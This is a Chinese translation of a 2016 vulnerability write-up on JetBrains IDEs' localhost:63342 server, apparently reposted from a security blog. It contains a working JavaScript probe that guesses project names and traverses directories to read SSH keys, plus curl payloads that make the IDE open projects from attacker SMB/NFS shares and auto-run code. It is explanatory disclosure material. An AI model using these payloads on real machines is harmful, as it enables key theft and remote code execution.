JetBrains远程命令执行and信息泄露:一个POST请求沦陷开发人员机器

0x00 前言

这个月的18号玄武实验室推送了一条信息,JetBrains IDE在15号被爆出一个存在了至少3年的漏洞.

今天看到todo.txt已经能堆满电脑屏幕了,准备清理一下.所以有了此文.

参考原文报告:http://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis/

这里我大概介绍一下,英文过关的话强烈推荐看原文.

0x01 简介

受影响的平台: windows、OS X

样本IDE: PyCharm, Android Studio, WebStorm, IntelliJ IDEA

样本下载:

Linux: https://download.jetbrains.com/python/pycharm-community-5.0.4.tar.gz

OS X: https://download.jetbrains.com/python/pycharm-community-5.0.4.dmg

Windows: https://download.jetbrains.com/python/pycharm-community-5.0.4.exe

0x02 初步发现

我的工作就是研究各种有意思的东西,哈哈哈,话说今天天气不错,会不会有一些好玩的服务悄悄跑起来?

lsof -P -iTCP | grep LISTEN
...
pycharm 4177 user 289u IPv4 0x81a02fb90b4eef47 0t0 TCP localhost:63342 (LISTEN)

蛤?pycharm还开启了个服务? 63342是干嘛用的?

$ nmap -A -p 63342 127.0.0.1
# [...]
PORT STATE SERVICE VERSION
63342/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port63342-TCP:V=6.46%I=7%D=8/2%Time=57A0DD64%P=x86_64-apple-darwin13.1.
SF:0%r(GetRequest,173,"HTTP/1\.1\x20404\x20Not\x20Found\r\ncontent-type:\x
# [...]

nmap说这可能是个http server, 以CORS标准伪造一个请求源,回显如下:

0

从access-control-xxx得知允许任意来源的请求,那么我们能从它上面获得一些敏感信息吗?

0x03 项目文件读取

我发现这个http server跟WebStrom有关,WebStorm提供这个功能的初衷是让你不需要设置webserver就可以在浏览器中预览相关代码,

要触发它只需要单击”view in browser”按钮,相当于你在浏览器中访问

http://localhost:63342//

我们来测试一下,在pycharm中创建一个项目,名为pycharmTest,并在该项目下创建一个名为test.txt的文件.

1

那么,就是说,我们只需要猜测出项目名和文件名,在任意站点上部署这样一段代码:

2

欺骗目标访问就能读取相关文件的源码了,看起来好像比较难利用

a83ae158035d7219

肯定有人要说啦(其实并没有…) :

69c76f232c9d8bae

0x04 跨目录读取

诸君都知道有一些敏感信息存在固定位置,像.ssh/id_rsa,/etc/passwd等,我们可以用../ or ..\来进行上层目录的访问

但是直接请求../回显如下:

3

研究发现RFC 3986对路径进行了规范化,幸运的是pycharm内置的http server并没有对url编码过的/进行处理.

so:

4

nice!
唯一的不足是还需要知道目标机器上的项目名才能获取到敏感信息,否则只会返回404.

猜测项目名时还需要一个一定存在的文件,不过这不难找,在JetBrains创建项目后,会生成.idea/workspace.xml.

那么不难写出这样的目录探测脚本:

function findLoadedProject(cb) {
 var xhr = new XMLHttpRequest();
 // Let's assume we have a sensible dictionary here.
 var possibleProjectNames = ["foobar", "testing", "bazquux"];
 var tryNextProject = function() {
 if (!possibleProjectNames.length) {
 cb(null);
 return;
 }
 var projectName = possibleProjectNames.pop();
 xhr.open("GET", "http://localhost:63342/" + projectName + "/.idea/workspace.xml", true);
 xhr.onload = function() {
 if(xhr.status === 200) {
 cb(projectName);
 } else {
 tryNextProject();
 }
 };
 xhr.send();
 };
}

var findSSHKeys = function(projectName) {
 var xhr = new XMLHttpRequest();
 var depth = 0;
 var tryNextDepth = function() {
 // No luck, SSH directory doesn't share a parent
 // directory with the project.
 if(++depth > 15) {
 return;
 }
 // Chances are that both `.ssh` and the project directory are under the user's home folder,
 // let's try to walk up the dir tree.
 dotSegs = "..%2f".repeat(depth);
 xhr.open("GET", "http://localhost:63342/" + projectName + "/" + dotSegs + ".ssh/id_rsa.pub", true);
 xhr.onload = function() {
 if (xhr.status === 200) {
 console.log(xhr.responseText);
 } else {
 tryNextDepth();
 }
 };
 xhr.send();
 }
};

findLoadedProject(function(projectName) {
 if(projectName) {
 console.log(projectName, "is a valid project, looking for SSH key");
 findSSHKeys(projectName);
 } else {
 console.log("Failed to guess a project name");
 }
});

那么有人又要问啦(还是没有…):

69c76f232c9d8bae

有没有一个一定存在的项目,让我们绕过这个项目名限制?

0x05 找到突破口

我找到了一个有意思的的api,他位于JetBrainsProtocolHandlerHttpService

看起来我们需要传入一个json格式包含jetbrains:协议的请求,在翻阅jetbrains协议的相关动作时,我发现了这样一段代码:

public class JBProtocolOpenProjectCommand extends JBProtocolCommand {
 public JBProtocolOpenProjectCommand() {
 super("open");
 }

@Override
 public void perform(String target, Map<String, String> parameters) {
 String path = URLDecoder.decode(target);
 path = StringUtil.trimStart(path, LocalFileSystem.PROTOCOL_PREFIX);
 ProjectUtil.openProject(path, null, true);
 }
}

执行项目的打开动作,如果成功打开的话,项目名就为可控的了,那么尝试构造这种格式:

curl "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//etc"}'

response:
cannot load /etc/.idea. The file does not exist

提示不能打开非JetBrain创建的项目,幸运的是,我在pycharm的系统目录下找到了符合条件的目录.

在OS X下的目录为/Applications/PyCharm.app/Contents/helpers

ss

{
 "name": "PyCharm 2016.1.2",
 "productName": "PyCharm",
 "baselineVersion": 145,
 "buildNumber": 844,
 "vendor": "JetBrains s.r.o.",
 "isEAP": false,
 "productCode": "PY",
 "buildDate": 1460044800000,
 "isSnapshot": false,
 "configPath": "C:\\Users\\pr0mise\\.PyCharm2016.1\\config",
 "systemPath": "C:\\Users\\pr0mise\\.PyCharm2016.1\\system",
 "binPath": "E:\\pycharm\\PyCharm 2016.1.2\\bin",
 "logPath": "C:\\Users\\pr0mise\\.PyCharm2016.1\\system\\log",
 "homePath": "E:\\pycharm\\PyCharm 2016.1.2"
}

{
 "name": "PyCharm 2016.1.2",
 "productName": "PyCharm",
 "baselineVersion": 145,
 "buildNumber": 844,
 "vendor": "JetBrains s.r.o.",
 "isEAP": false,
 "productCode": "PY",
 "buildDate": 1460098800000,
 "isSnapshot": false,
 "configPath": "/home/user/.PyCharm2016.1/config",
 "systemPath": "/home/user/.PyCharm2016.1/system",
 "binPath": "/home/user/opt/pycharm/bin",
 "logPath": "/home/user/.PyCharm2016.1/system/log",
 "homePath": "/home/user/opt/pycharm"
}

2016/07/27 13:35 <DIR> .
2016/07/27 13:35 <DIR> ..
2016/07/27 13:35 <DIR> .idea
2016/04/09 00:26 2,526 check_all_test_suite.py
2016/04/09 00:26 1,237 conda_packaging_tool.py

目录已经确定,现在获取ssh秘钥不是难事了.

事实上,还有更简单的办法.

windows提供的特性,路径可以为SMB server的共享路径,格式如下:

curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open/\\\\smb.example.com\\anonshare\\testing"}'

pycharmn会尝试加载smb下的testing项目.

假设我们渗透一家企业,已经跳出了DMZ,那么利用过程分六步.

1.在一台已经有权限的机器上开启smb服务.

2.用pycharm创建一个项目, 在该项目下创建一个文件为run.py.

代码为你想执行的代码.例如:

import os
os.system('calc')
  1. file->setting->input “startup tasks”.添加run.py. 达到加载项目自启动run.py的目的.
  2. 将该项目复制到smb的共享文件夹下.
  3. 构造html

w

6.诱导目标访问.

6

OS X的利用类似于win,我们创建一个NFS server,通过这种方式来访问:

/net/<hostname>/<sharename>/<projectname>

post包如下:

curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}'

构造的html如下:

q

其余步骤同win.

7

0x06 厂商回复

50000刀已打到作者账户,请查收.

 

*原文:saynotolinux  译者:pr0mise  Mottoin整理发布

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/88500.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code